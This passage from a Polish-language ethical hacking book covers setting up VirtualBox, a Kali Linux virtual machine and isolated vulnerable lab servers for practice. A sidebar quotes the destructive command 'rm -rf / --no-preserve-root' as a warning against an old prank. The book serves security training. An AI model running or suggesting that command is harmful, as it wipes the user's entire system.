host-only, ponieważ nie pozwala na dostęp do internetu ani do jakichkolwiek zasobów poza danym
komputerem. Jeżeli analizujesz złośliwe oprogramowanie, to możesz wyłączyć lub całkowicie
usunąć kartę sieciową, aby uniknąć przypadkowego zainfekowania swojego fizycznego komputera.
Stosowanie sieci wewnątrz hosta oznacza, że możesz udostępniać serwer z podatnościami jako ma-
szynę wirtualną, bez obawy o to, że ktoś z zewnątrz uzyska do niego dostęp. Aby zdefiniować sieć
wewnątrz hosta, otwórz menu File i wybierz z niego pozycję Host Network Manager. Pojawi się
wtedy okno dialogowe Host Network Manager, takie jak na rysunku 3.1.
Kliknij przycisk Create, który utworzy wewnątrz hosta nową sieć o nazwie vboxnet0 lub Virtu-
alBox Host-Only Ethernet Adapter (ta nazwa jest definiowana przez VirtualBoksa). Na rysunku 3.2
można zobaczyć okno Host Network Manager po utworzeniu jednej sieci wewnątrz hosta.

3681988c430c7fe1e8567c4e2f281f7b
3
66 Rozdział 3  Przygotowanie narzędzi do hakowania

Rysunek 3.1. Okno dialogowe Host Network Manager

Rysunek 3.2. Okno Host Network Manager z utworzoną siecią o nazwie VirtualBox Host-Only Ethernet Adapter

Upewnij się, że serwer DHCP (Dynamic Host Configuration Protocol) działa poprawnie, klika-
jąc przycisk Properties dostępny w górnej części okna dialogowego, a następnie klikając kartę
DHCP Server. Kliknij pole wyboru Enable Server, tak jak na rysunku 3.3. Pozostałe ustawienia opi-
sują zasady przypisywania adresów IP do poszczególnych hostów dodawanych do sieci wewnątrz
hosta. Jeżeli zajdzie taka potrzeba, możesz zmienić i te ustawienia, ale w większości przypadków
dobrze sprawdzają się domyślne wartości.

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 67

Rysunek 3.3. Włączanie serwera DHCP

Przed zamknięciem okna dialogowego Host Network Manager dobrze jest skontrolować ustawienia
z karty Adapter. Po kliknięciu tej karty zobaczysz opcje przedstawione na rysunku 3.4. Domyślnie za-
znaczona jest opcja Configure Adapter Manually, mimo że nie wprowadzaliśmy tej konfiguracji ręcznie.
W tych ustawieniach można pozostawić wartości domyślne, które powinny wyglądać tak jak na rysunku 3.4.

Rysunek 3.4. Ustawienia na karcie Adapter

3681988c430c7fe1e8567c4e2f281f7b
3
68 Rozdział 3  Przygotowanie narzędzi do hakowania

Zauważ, że są tu dostępne opcje dla protokołów IPv4 i IPv6. W tej książce będziemy korzystać
wyłącznie z protokołu IPv4, aby zachować (względną) prostotę prac. Kliknij przycisk Apply
(na karcie DHCP Server), a następnie przycisk Close, aby zamknąć okno dialogowe Host Network
Manager i wrócić do głównego okna VirtualBoksa.
Właśnie udało Ci się utworzyć i skonfigurować sieć wewnątrz hosta. Każda maszyna wirtualna,
która zostanie dodana do tej sieci, powinna automatycznie otrzymać swój adres IP z puli adresów
192.168.48.x. Adresy są przyznawane w kolejności rosnącej, zaczynając od 192.168.48.3, 192.168.48.4
itd. Adres 192.168.48.1 jest zarezerwowany dla samego hosta, a pod adresem 192.168.48.2 działa
serwer DHCP. Każda z tych maszyn wirtualnych będzie mogła komunikować się z pozostałymi, ale
nie będzie miała dostępu do zewnętrznego świata.

Tworzenie maszyny wirtualnej Kali Linux

Teraz utwórzmy nową maszynę wirtualną i zainstalujmy w niej system Kali Linux. VirtualBox nie
zawiera żadnych plików pozwalających na instalację systemów operacyjnych, dlatego każdy sys-
tem, jaki chcemy zainstalować w maszynie wirtualnej, musi zostać pobrany ze stron jego twórców.
System Kali Linux można pobrać bez opłat ze strony kali.org.
Zauważysz, że na tej stronie dostępnych jest kilka różnych wersji systemu. Z tej listy musisz
wybrać wersję właściwą dla architektury swojego komputera. Jeżeli Twój sprzęt jest 64-bitowy, to
wybierz 64-bitową wersję systemu. Zalecamy zdecydowanie się na wersję o nazwie Kali Linux 64-
bit (pod warunkiem że masz 64-bitowy komputer) i pominięcie takich wariantów jak Kali Linux
64-Bit VirtualBox i inne.
Ze strony musisz pobrać plik o rozszerzeniu .iso. Takie rozszerzenie wywodzi się od dokumentu
ISO 9660 (International Organization for Standardization — międzynarodowa organizacja standa-
ryzacyjna), który opisuje system plików dla nośników optycznych. Pliki tego typu często są nazy-
wane „plikami ISO”. Pobierany plik będzie miał wielkość kilku gigabajtów, ponieważ znajduje się
w nim wiele różnych narzędzi i programów.
Po pobraniu tego pliku musisz skontrolować jego poprawność. Po tych przygotowaniach możesz
utworzyć nową maszynę wirtualną, w oknie VirtualBoksa wybierając z menu pozycję Machine/New
lub naciskając klawisze Ctrl+N. Zobaczysz wtedy okno dialogowe, takie jak na rysunku 3.5.

Kali Linux nie jest jedyną dystrybucją nadającą się do etycznego hakowania
i wykonywania testów penetracyjnych, jest jednak najczęściej wykorzystywany do tych ce-
lów. Już tylko z tego powodu zalecamy używanie tego systemu i będziemy korzystać z niego
w całej książce. Jednocześnie zachęcamy do przyglądania się alternatywnym dystrybucjom,
takim jak Black Arch Linux (blackarch.org), które mogą okazać się wygodniejsze, gdy tylko
nabierzesz trochę doświadczenia w pracy z Linuksem.

Jako nazwę maszyny wirtualnej można wprowadzić dowolny tekst (choć „Kali Linux” wydaje
się odpowiednią nazwą). W polu Machine Folder należy podać folder, w którym znajdą się pliki
maszyny wirtualnej. W tym przykładzie zostaną one zapisane w katalogu C:\Users\<nazwa_użyt-
kownika>\VirtualBox VMs. Z listy rozwijanej Type wybierz pozycję Linux. Z kolei z listy rozwijanej
Version wybierz pozycję Debian (pamiętaj, że Kali Linux bazuje na Debianie) albo pozycję Linux
2.6 / 3.x / 4.x (64-bit).

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 69

Rysunek 3.5. Tworzenie maszyny wirtualnej dla systemu Kali Linux

Następnie określ też ilość pamięci RAM, jaką powinna otrzymać nowa maszyna wirtualna, uży-
wając do tego suwaka w polu Memory size albo wpisując odpowiednią wartość w polu tekstowym
po prawej stronie suwaka. Na rysunku 3.5 wprowadzona została wartość 2048 MB (2 GB). Jeżeli
w komputerze masz zamontowane tylko 4 GB pamięci RAM, to nie należy w tym miejscu wybierać
więcej niż 2 GB. Zgodnie z dokumentem wymagań systemowych Kali Linuksa do jego uruchomie-
nia powinien wystarczyć 1 GB pamięci. Na rysunku można zauważyć, że maksymalnie dostępnych
jest 32 GB pamięci RAM. W tym przypadku można przydzielić maszynie wirtualnej nawet 4 GB
pamięci, co pozwoli na jej swobodne działanie. Jedną z przyjemnych rzeczy w maszynach wirtual-
nych jest to, że raz ustaloną wartość można zmienić później i to bez użycia śrubokręta. Pamiętaj
jednak, że potrzebujesz jeszcze wolnej pamięci RAM, żeby uruchomić serwer z podatnościami,
a i sam system operacyjny hosta musi mieć trochę miejsca do swobodnej pracy.

Tworzenie wirtualnego dysku twardego

Następnie należy zaznaczyć opcję Create A Virtual Hard-Disk Now. Spowoduje to pojawienie się
okna dialogowego Create Virtual Hard Disk pokazanego na rysunku 3.6. Utworzenie wirtualnego
dysku twardego spowoduje dodanie nowego pliku w folderze określonym w polu Machine Folder
z poprzedniego okna dialogowego. Nazwa tego pliku definiowana jest w polu File location w aktualnym
oknie dialogowym. Do wprowadzonej tu nazwy zostanie dodane rozszerzenie .vdi. Na rysunku 3.6
widać, że domyślną wartością tego pola będzie Kali Linux, ponieważ wcześniej tę nazwę nadaliśmy
samej maszynie wirtualnej. Ze względu na to, że poniżej wybrana jest (domyślnie zaznaczana) opcja
(VDI) VirtualBox Disk Image, plik otrzyma pełną nazwę w postaci Kali Linux.vdi.

3681988c430c7fe1e8567c4e2f281f7b
3
70 Rozdział 3  Przygotowanie narzędzi do hakowania

Rysunek 3.6. Tworzenie wirtualnego dysku twardego

W polu File Size można użyć suwaka, aby podać dokładny rozmiar tworzonego dysku. Musisz
mieć pewność, że nowy dysk będzie wystarczająco duży, żeby pomieścić cały system Kali Linux
i mieć jeszcze miejsce na dodatkowe narzędzia. Pamiętaj, że tyle samo miejsca musi być dostępne
na dysku hosta, ponieważ zostanie ono zajęte przez pliki wirtualnego dysku twardego. Według listy
wymagań systemowych Kali Linuksa potrzebne będzie przynajmniej 20 GB miejsca.
Możesz też zdecydować, czy wirtualny dysk ma być tworzony dynamicznie, czy też ma mieć od
razu pełny rozmiar. Dynamiczne tworzenie pliku dysku oznacza, że taki plik będzie powiększał się
z czasem, aby pomieścić wszystkie dane maszyny wirtualnej. To przydatna możliwość, jeżeli na
początku nie wiemy, ile miejsca naprawdę będzie nam potrzebne, ponieważ pozwala początkowo
zadeklarować większy rozmiar dysku. Z drugiej strony dysk o stałej wielkości wymaga wstępnego
utworzenia pliku o zadanej wielkości, co od razu zajmuje wymagane miejsce na dysku hosta.
Ta opcja pozwala też na uzyskanie nieco wyższej wydajności w pracy z maszyną wirtualną. Musisz
samodzielnie zdecydować, która opcja będzie dla Ciebie lepsza. Jeżeli jednak masz dość miejsca na
dysku, to zalecamy utworzenie dysku o stałym rozmiarze wynoszącym od 50 do 100 GB. Pamiętaj,
że zawsze możesz utworzyć nową maszynę wirtualną o innych ustawieniach albo później dodać do
już istniejącej maszyny wirtualnej kolejne dyski.
Na zakończenie kliknij przycisk Create. Utworzysz tym samym maszynę wirtualną, która jed-
nak po uruchomieniu nie będzie robić nic, ponieważ jeszcze nie zainstalowaliśmy w niej żadnego
systemu! Aby zainstalować system Kali Linux z pobranego wcześniej obrazu ISO, musisz włożyć
plik tego obrazu do napędu CD w maszynie wirtualnej. Na tym etapie możesz też zmienić inne
ustawienia maszyny wirtualnej, ponieważ przygotowanie odpowiedniej konfiguracji dla swojego
sprzętu może wymagać kilku prób.

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 71

Używanie wirtualnego napędu CD

Kliknij prawym przyciskiem myszy nowo utworzoną maszynę wirtualną Kali Linux i wybierz
z menu kontekstowego pozycję Settings. W otwartym oknie dialogowym można zmienić wiele op-
cji konfiguracyjnych maszyny wirtualnej, dlatego warto poświęcić trochę czasu na przyjrzenie się
dostępnym opcjom. W tej chwili z listy po lewej stronie wybierz pozycję Storage, a w głównym
panelu pojawi się lista nośników danych dostępnych w maszynie wirtualnej. Powinna ona wyglądać
mniej więcej tak jak na rysunku 3.7.

Rysunek 3.7. Wirtualne nośniki danych

Zauważ, że na liście znajdują się dwa wirtualne urządzenia: jedno urządzenie IDE (Integrated
Drive Electronics) i jedno urządzenie SATA (Serial Advanced Technology Attachment). Urządzenie
IDE to wirtualny napęd CD, do którego można włożyć obraz ISO (choć może to też być rzeczywisty
napęd CD), natomiast urządzeniem SATA jest utworzony przed chwilą wirtualny dysk twardy. Aby
włożyć do wirtualnego napędu obraz ISO, kliknij na liście pozycję o nazwie Empty znajdującą się
poniżej kontrolera, wyróżnioną też ikoną płyty CD. Teraz po prawej stronie, w sekcji Attributes
pojawi się lista rozwijana Optical Drive, w której domyślnie powinna być wybrana pozycja IDE
Secondary Device (lub Secondary Master). Nie zmieniaj tej wartości. Kliknij natomiast ikonę płyty
CD znajdującą się obok listy, aby wyświetlić osobne menu, i wybierz z niego pozycję Choose Virtual
Optical Disk File. Po jej kliknięciu odszukaj na dysku pobrany wcześniej plik obrazu systemu Kali
Linux, zaznacz go, aby włożyć do wirtualnego napędu.

3681988c430c7fe1e8567c4e2f281f7b
3
72 Rozdział 3  Przygotowanie narzędzi do hakowania

Wirtualne karty sieciowe

Nie klikaj jeszcze przycisku OK. Najpierw wybierz w lewym panelu pozycję Network, aby wyświe-
tlić ustawienia kart sieciowych. Zobaczysz tutaj opcje pozwalające włączyć i skonfigurować nawet
cztery wirtualne karty sieciowe. W naszych przykładach będziemy używać dwóch kart.
Pierwsza wirtualna karta sieciowa powinna być powiązana z funkcją NAT (Network Address
Translation), tak jak na rysunku 3.8. Można to zrobić, wybierając z listy rozwijanej Attached to
pozycję NAT. Upewnij się też, że włączona jest opcja Enable Network Adapter. Funkcja NAT wbudo-
wana w VirtualBoksie pozwoli systemowi Kali Linux na dostęp do internetu za pośrednictwem połą-
czenia istniejącego w komputerze głównym. Działa to na podobnej zasadzie, zgodnie z którą każdy
fizyczny komputer może korzystać z internetu za pośrednictwem domowego routera. W ten sposób
będziemy mogli aktualizować system operacyjny i pobierać dodatkowe programy i narzędzia.

Rysunek 3.8. Konfigurowanie wirtualnej karty sieciowej

Teraz kliknij kartę Adapter 2. Pamiętasz jeszcze utworzoną wcześniej sieć wewnątrz hosta?
Teraz podłączymy naszą maszynę wirtualną do tej sieci, tak żeby mogła się ona kontaktować z in-
nymi maszynami wirtualnymi, jakie będziemy tworzyć. Dzięki temu maszyna wirtualna z syste-
mem Kali Linux będzie mogła włamywać się do innych maszyn wirtualnych, pod warunkiem że
one również zostaną podłączone do tej samej sieci wewnątrz hosta. Z listy rozwijanej Attached to
wybierz pozycję Host-Only Adapter, tak jak na rysunku 3.9. Jeżeli masz skonfigurowaną tylko jedną
sieć wewnątrz hosta (na razie tak powinno być), to powinna ona zostać wybrana domyślnie. W tym
przypadku nasza sieć nosi nazwę VirtualBox Host-Only Ehternet Adapter.

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 73

FUNKCJA NAT

Translacja adresów sieciowych (ang. Network Address Translation — NAT) to technologia używana
w routerach i zaporach sieciowych. Umożliwia ona dostęp do internetu komputerom z prywat-
nymi adresami IP, takimi jak 192.168.1.10 lub 10.54.34.101. Polega to na przepisywaniu wartości
pola „nadawca” w pakietach wysyłanych przez komputery z sieci prywatnej.
Smartfon podłączony do domowego routera wi-fi otrzymuje wewnętrzny adres IP 192.168.1.5.
Gdy odwiedzasz stronę WWW, Twój telefon wysyła pakiety danych z adresu 192.168.1.5. Oczywi-
ście serwer WWW nie może odesłać danych na ten sam adres, ponieważ jest to adres wewnętrzny
stosowany przez wiele urządzeń na całym świecie. Skąd zatem ma wiedzieć, do którego urzą-
dzenia powinien odesłać dane strony WWW?
Na szczęście router zmienia adres nadawcy, zastępując adres wewnętrzny taką wartością jak
86.48.23.11. To zewnętrzny adres routera, który jest mu przypisywany przez dostawcę internetu.
Ten adres jest niepowtarzalny w całym internecie, jest zatem dostępny dla serwera WWW. Router
otrzymuje zatem odpowiedź serwera WWW, a ponieważ wcześniej zapisał sobie informacje o żą-
daniu wysłanym przez smartfon, teraz może przekazać tę odpowiedź na właściwy, wewnętrzny
adres IP.

Rysunek 3.9. Konfigurowanie drugiej wirtualnej karty sieciowej

3681988c430c7fe1e8567c4e2f281f7b
3
74 Rozdział 3  Przygotowanie narzędzi do hakowania

Do tej pory utworzyliśmy nową maszynę wirtualną, przydzieliliśmy jej część pamięci RAM ho-
sta oraz zdefiniowaliśmy dostępną przestrzeń dyskową, włożyliśmy plik obrazu ISO z instalacją
systemu Kali Linux do wirtualnego napędu CD i skonfigurowaliśmy dwie karty sieciowe. Pierwsza
karta pozwoli na dostęp do internetu, umożliwiając instalowanie aktualizacji i nowych programów
dzięki wykorzystaniu połączenia sieciowego fizycznego komputera. Druga karta sieciowa zostanie
wykorzystana do włamywania się do innych maszyn wirtualnych oraz wirtualnego serwera. Kliknij
przycisk OK w dolnej części okna dialogowego Settings, aby zapisać wszystkie wprowadzone zmiany.
Teraz można już uruchomić maszynę wirtualną. Można to zrobić, klikając na liście prawym przy-
ciskiem myszy naszą maszynę wirtualną i wybierając z menu kontekstowego pozycję Start, a potem
Normal Start. Jeżeli konfiguracja maszyny wirtualnej jest poprawna, to na ekranie powinien poja-
wić się instalator systemu Kali Linux, taki jak na rysunku 3.10.

Rysunek 3.10. Menu rozruchowe systemu Kali Linux

System Kali Linux można uruchomić w trybie Live1, co oznacza, że można wypróbować dzia-
łanie tego systemu bez konieczności wprowadzania trwałych zmian w maszynie wirtualnej. Oka-
zuje się, że wszystkie ćwiczenia z tej książki można wykonać w tak uruchomionym systemie bez
konieczności instalowania go, ale wszystkie te ćwiczenia wykonuje się znacznie łatwiej i sprawniej
na zainstalowanym systemie.

1 Aby uruchomić system w trybie Live, musisz pobrać osobny instalator przygotowany do uruchamiania
systemu w ten sposób. W przypadku systemu Kali Linux na stronach pobierania szukaj wariantu z dopi-
skiem (Live) — przyp. tłum.

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 75

Wiele podanych na rysunku operacji jest dość czytelnych. Jeżeli nie rozumiesz ich znaczenia,
to dokładniejszy opis znajdziesz na stronach dokumentacji systemu Kali Linux. Pamiętaj, że pra-
cujesz z maszyną wirtualną, jeśli więc instalacja się nie powiedzie, to skutki nie będą zbyt poważne.
Jeżeli masz wątpliwości, to najlepszym rozwiązaniem jest zwykle przyjęcie wartości domyślnych.
Upewnij się też, że instalowany system może uzyskać dostęp do internetu, tak żeby mógł pobrać
niezbędne aktualizacje. Oto skrócony opis procesu instalacji systemu:
1. Konfigurowanie języka i lokalizacji.
2. Definiowanie nazwy hosta. Tutaj można użyć dowolnej nazwy, na przykład „Kali”.
3. Nie trzeba wprowadzać nazwy domeny.
4. Zdefiniuj dla siebie jednego użytkownika (niezależnie od użytkownika root).
5. Wybierz strefę czasową.
6. Wybierz dysk i partycję, na których chcesz zainstalować system Kali Linux. Tutaj świetnie
sprawdzi się przyjęcie wartości domyślnych. (Szyfrowanie dysków nie będzie potrzebne).
7. Gdy pojawi się pytanie „Używać mirrorów sieciowych?”, wybierz odpowiedź Tak.
8. Zainstaluj program rozruchowy GRUB w rekordzie rozruchowym MBR.
Ostatecznie pojawi się ekran logowania nowo zainstalowanego systemu Kali Linux. Spróbuj zalo-
gować się jako użytkownik root oraz jako jeden z użytkowników zdefiniowanych w procesie insta-
lacji systemu. Uruchom też polecenie apt update (jeżeli wydasz je jako zwykły użytkownik, nie zapo-
mnij poprzedzić go poleceniem sudo), aby sprawdzić, czy można zainstalować jakieś aktualizacje.
Od tego momentu będziemy nazywać tę maszynę wirtualną maszyną Kali Linux, maszyną lo-
kalną albo różnymi wariantami tych nazw. Korzystając z tej maszyny wirtualnej, będziemy urucha-
miać exploity, narzędzia skanujące i inne programy. Celem tych skanów i ataków będą inne maszyny
wirtualne podłączone do sieci wewnątrz hosta. Nie będziemy więcej prosić Cię o uruchomienie
programów lub poleceń w systemie operacyjnym fizycznego komputera.
Aby potwierdzić, że maszyna Kali Linux jest połączona z siecią wewnątrz hosta, dobrze jest
uruchomić w terminalu polecenie ip address. W odpowiedzi powinniśmy uzyskać wydruk po-
dobny do poniższego:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast
state UP group default qlen 1000
link/ether 08:00:27:7c:62:3e brd ff:ff:ff:ff:ff:ff
inet 192.168.48.3/24 brd 192.168.56.255 scope global dynamic eth0
valid_lft 1199sec preferred_lft 1199sec
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast
state UP group default qlen 1000
link/ether 08:00:27:cb:74:9b brd ff:ff:ff:ff:ff:ff
inet 10.0.3.15/24 brd 10.0.3.255 scope global dynamic eth1
valid_lft 86398sec preferred_lft 86398sec

3681988c430c7fe1e8567c4e2f281f7b
3
76 Rozdział 3  Przygotowanie narzędzi do hakowania

Skupmy się na wyróżnionych częściach tego wydruku. System Kali Linux powinien zgłaszać
istnienie dwóch interfejsów sieciowych o nazwach eth0 i eth1. Oba interfejsy są powiązane z wir-
tualnymi kartami sieciowymi. Interfejs eth0 powinien mieć adres 192.168.48.3, co oznacza, że jest
połączony z siecią wewnątrz hosta. Nie przejmuj się, jeżeli widzisz tutaj inne wartości. Jeżeli tylko
adres znajduje się w zakresie 192.168.48.x albo dowolnym innym wpisanym podczas konfigurowa-
nia sieci wewnątrz hosta, to znaczy, że wszystko działa poprawnie.
Interfejs eth1 jest wykorzystywany przez maszynę wirtualną do uzyskiwania dostępu do inter-
netu. W tym przypadku powinien on otrzymać adres IP zaczynający się od 10. Te adresy automa-
tycznie przydziela VirtualBox, który umożliwia też dostęp do internetu za pośrednictwem łącza
sieciowego fizycznego komputera. Upewnij się, że maszyna wirtualna Kali Linux otrzymała adres
IP na obu interfejsach, tak aby mogła pobierać nowe pakiety oprogramowania oraz narzędzia.
Przypisanie adresów do interfejsów powinno zostać wykonane automatycznie przy uruchomieniu
systemu. Jeżeli tak się nie stanie, to spróbuj uruchomić polecenie dhclient i podać mu w parametrze
nazwę interfejsu sieciowego. W ten sposób poprosisz serwer DHCP działający w ramach VirtualBoksa
o przydzielenie adresów IP maszynie wirtualnej. Później możesz ponownie sprawdzić adresy IP,
wydając polecenie ip address.
Jeżeli zauważysz, że coś nie działa zgodnie z podanym opisem, to sprawdź, czy wszystkie podane
wcześniej kroki zostały wykonane poprawnie. Możesz spróbować zastosować inny rodzaj adaptera
w przypadku karty sieciowej numer 2. Jeżeli aktualnie używasz ustawienia NAT, to zmień je na
Bridged Adapter lub odwrotnie. Możesz też spróbować uruchomić wizualnego menedżera sieci sys-
temu Kali Linux, który powinien być łatwiejszy w obsłudze. Pozwala on na przeglądanie i modyfi-
kowanie ustawień za pomocą interfejsu graficznego, dlatego dla niektórych może być naturalniej-
szym sposobem pracy niż wiersz poleceń. Gdy poświęcisz trochę czasu na zapoznanie się z nowym
systemem, będziemy mogli przejść do przygotowania pierwszego laboratorium, czyli maszyny wir-
tualnej z podatnościami.

Ogólna zasada mówi, że do wykonywania codziennych prac w Linuksie nie należy

używać konta użytkownika root. To konto powinno być zarezerwowane dla takich prac jak
instalowanie aktualizacji. Dobrze jest też skonfigurować polecenie sudo, aby zyskać możliwość
wydawania pojedynczych poleceń jako użytkownik root, tak jak dzieje się to w systemie Ubuntu.
W tej książce przy uruchamianiu wszystkich poleceń w Kali Linux będziemy zakładać, że
pracujesz na koncie użytkownika root. Jeżeli wolisz, to możesz też używać polecenia sudo.
Jedną z lepszych metod poznawania konsekwencji nadmiernego wykorzystywania konta
użytkownika root jest korzystanie z tego konta w maszynie wirtualnej. Jeżeli coś popsujesz
(na przykład niechcący usuniesz cały system operacyjny), to będzie to dotyczyło wyłącznie
tej maszyny. Jeżeli ktoś zachęca Cię do pobrania aktualizacji za pomocą polecenia rm -rf /
--no-preserve-root, to tak naprawdę chce spowodować usunięcie wszystkich plików z Two-
jego dysku. Dawno temu osoby początkujące w pracy z Linuksem często wprowadzały po-
lecenie rm -rf /, zachęcane do tego przez złośliwych kolegów. W ten sposób usuwany był
nowo zainstalowany system, ku uciesze tych, którzy podpowiadali nowicjuszom stosowa-
nie tego polecenia. Teraz taka operacja wymaga zastosowania dodatkowego parametru
--no-preserve-root, co ma służyć jako ostatnie ostrzeżenie dla uważniejszych nowicjuszy.
Nie daj się nabrać na ten stary dowcip. Równie skuteczną lekcję możesz uzyskać, wpisując
polecenie cat /dev/random > /dev/audio.

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 77

Laboratoria
Przygotowanie maszyny wirtualnej na potrzeby hakowania wygląda niemal tak samo jak tworzenie
maszyny wirtualnej z poprzedniego przykładu. Tworząc nową maszynę wirtualną, ustal wartości
poniższych opcji (pokazanych też na rysunku 3.11):
1. Nadaj nazwę maszynie wirtualnej, na przykład Laboratorium Hacker House.
2. Wartość opcji Machine Folder możesz pozostawić bez zmian.
3. Jako typ systemu wybierz Linux.
4. W polu Version wybierz pozycję Linux 2.6 / 3.x / 4.x (32-bit).
5. Przydziel maszynie wirtualnej 1024 MB pamięci RAM
(lub więcej, jeżeli masz taką możliwość).
6. Kliknij opcję Do Not Add Virtual Hard Disk, aby nie dodawać wirtualnego dysku
twardego, ponieważ ta maszyna będzie uruchamiana z dysku CD typu Live.

Rysunek 3.11. Konfigurowanie laboratorium

3681988c430c7fe1e8567c4e2f281f7b
3
78 Rozdział 3  Przygotowanie narzędzi do hakowania

Teraz potrzebujesz jeszcze pliku ISO dla nowo utworzonej maszyny wirtualnej. Dwa takie pliki
można pobrać ze stron firmy Hacker House. Pierwszy plik zawiera wirtualny serwer pocztowy
przygotowany na potrzeby kursu hakowania oferowanego przez Hacker House. Drugi plik to ma-
szyna wirtualna przygotowana specjalnie na potrzeby tej książki. Zawiera ona kilka różnych serwe-
rów. Oba te pliki będziemy wykorzystywać w kolejnych rozdziałach książki. Laboratorium z ser-
werem pocztowym można pobrać z tego adresu:
www.hackerhousebook.com/hh-mailserver-v1-i386.hybrid.iso
Z kolei pod tym adresem znajdziesz maszynę wirtualną o wielu zastosowaniach:
www.hackerhousebook.com/hh-booklab-v1-i386.hybrid.iso
Nie musisz uruchamiać obu serwerów jednocześnie, ponieważ będziemy je hakować po kolei.
Możesz zatem użyć tej samej maszyny wirtualnej, aby uruchomić dowolny z serwerów, wymienia-
jąc tylko pliki w wirtualnym napędzie CD. Oba obrazy ISO działają w trybie Live, co oznacza, że
ich zawartość jest uruchamiana bezpośrednio z napędu CD i nie ma możliwości zainstalowania ich
na dysku. Wszystko jest gotowe do pracy zaraz po uruchomieniu maszyny wirtualnej. Jeżeli uru-
chomisz maszynę wirtualną, umieszczając uprzednio w napędzie obraz ISO z serwerem poczto-
wym, to na ekranie zobaczysz menu startowe, takie jak pokazane na rysunku 3.12. Następnie pojawi
się ekran logowania, taki jak pokazany na rysunku 3.13. Nie musisz próbować się tutaj zalogować
ani bezpośrednio pracować z maszyną wirtualną. Twoim zadaniem będzie włamanie się do niej
za pomocą maszyny wirtualnej z systemem Kali Linux. Hakowanie serwera pocztowego zaczniemy
w rozdziale 6. „Poczta elektroniczna”.

Rysunek 3.12. Menu uruchomieniowe systemu serwera pocztowego

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 79

Rysunek 3.13. Ekran logowania do serwera pocztowego

Z ekranu logowania musisz odczytać tylko jedną informację, czyli adres IP, który jest widoczny
pod napisem This host can be found on:. Na rysunku 3.13 jest to adres 192.168.48.4. Sam fakt, że
jest to adres z zakresu 192.168.48.x, mówi nam, że został on przydzielony przez maszynę wirtualną
(i jej serwer DHCP) w ramach sieci wewnątrz hosta, którą konfigurowaliśmy wcześniej. Jeżeli nie
widzisz tego adresu, to kliknij najpierw w oknie tej maszyny wirtualnej, a następnie naciśnij kilka
razy klawisz Enter. Jeżeli mimo tego nie pojawi się żaden adres albo pojawi się adres nienależący
do zakresu 192.168.48.x, to musisz wrócić na początek rozdziału i jeszcze raz wykonać wszystkie
opisywane do tej pory kroki. Ta maszyna wirtualna musi otrzymać właściwy adres IP, tak żeby
można było się do niej dostać z maszyny wirtualnej systemu Kali Linux.
Gdy pierwszy raz użyjesz myszy w oknie maszyny wirtualnej, VirtualBox poinformuje Cię
o istnieniu klawisza hosta, umożliwiającego powrót do systemu operacyjnego hosta. To bardzo
ważne, żeby zapamiętać, jaki to klawisz, ponieważ bez niego można bezpowrotnie utknąć wewnątrz
maszyny wirtualnej. Domyślnie klawiszem hosta jest prawy klawisz Ctrl na klawiaturze.

3681988c430c7fe1e8567c4e2f281f7b
3
80 Rozdział 3  Przygotowanie narzędzi do hakowania

Przełączanie się między laboratorium z serwerem pocztowym a laboratorium

przygotowanym na potrzeby tej książki jest całkiem proste. Wystarczy wyłączyć maszynę
wirtualną (nie ma potrzeby wykonywania poprawnego zatrzymania systemu) i wymienić
plik ISO w wirtualnym napędzie CD. Z kolei maszyna wirtualna systemu Kali Linux wymaga
przeprowadzania pełnej procedury zamknięcia. Proste wyłączenie maszyny wirtualnej
może w tym przypadku uszkodzić wirtualny dysk twardy i zapisane na nim pliki.

Dodatki dla systemu gościa

Pamiętaj, że z punktu widzenia maszyny wirtualnej Twój fizyczny komputer jest hostem, a działa-
jące w nim maszyny wirtualne (system Kali Linux oraz serwer z podatnościami) są tylko gośćmi.
VirtualBox udostępnia dodatkowy pakiet pozwalający rozwinąć nasze maszyny wirtualne. Ten pa-
kiet nosi nazwę Guest Additions, czyli dodatki dla systemu gościa. Pakiet odpowiedni dla Twojego
systemu można pobrać ze strony VirtualBox.org.
Zainstalowanie pakietu Guest Additions w maszynie wirtualnej Kali Linux pozwoli jej na przej-
ście do trybu pełnoekranowego. W tym celu należy skorzystać z menu znajdującego się w górnej
części okna maszyny wirtualnej Kali Linux i wybrać z niego pozycję Devices/Insert Guest Additions
CD image. Spowoduje to automatyczne włożenie wirtualnej płyty CD do napędu, aby ta została
zamontowana do katalogu /media/cdrom0. Niektóre dystrybucje lub systemy operacyjne automa-
tycznie instalują pakiet Guest Additions, ale w systemie Kali Linux musisz zrobić to samodzielnie.
Przejrzyj zawartość wirtualnego napędu CD za pomocą polecenia ls /media/cdrom0. Na ekranie
powinien pojawić się plik autorun.sh, który jest skryptem powłoki. Możesz uruchomić ten plik za
pomocą polecenia sh /media/cdrom0/autorun.sh, wydając je jako użytkownik root albo poprze-
dzając je poleceniem sudo. Następnie postępuj zgodnie z instrukcjami, aby zainstalować pakiet Guest
Addtions. Nie należy instalować tego pakietu w maszynie wirtualnej z laboratorium. Aby możliwe
było przejście do trybu pełnoekranowego, może być konieczne ponowne uruchomienie maszyny
wirtualnej Kali Linux. Podobne narzędzia można też zainstalować za pomocą polecenia apt.

Testowanie wirtualnego środowiska

Masz już przygotowane dwie maszyny wirtualne, które powinny być połączone ze sobą za pośred-
nictwem wspólnej sieci (wewnątrz hosta). Taka konfiguracja nazywana jest wirtualnym środowi-
skiem. Zanim przejdziemy do dalszych działań, musisz sprawdzić, czy maszyny wirtualne mogą się
ze sobą komunikować. W tym celu trzeba przeprowadzić mały test. W maszynie wirtualnej Kali
Linux otwórz okno terminala. Możesz to zrobić, naciskając klawisz Windows (a w komputerach
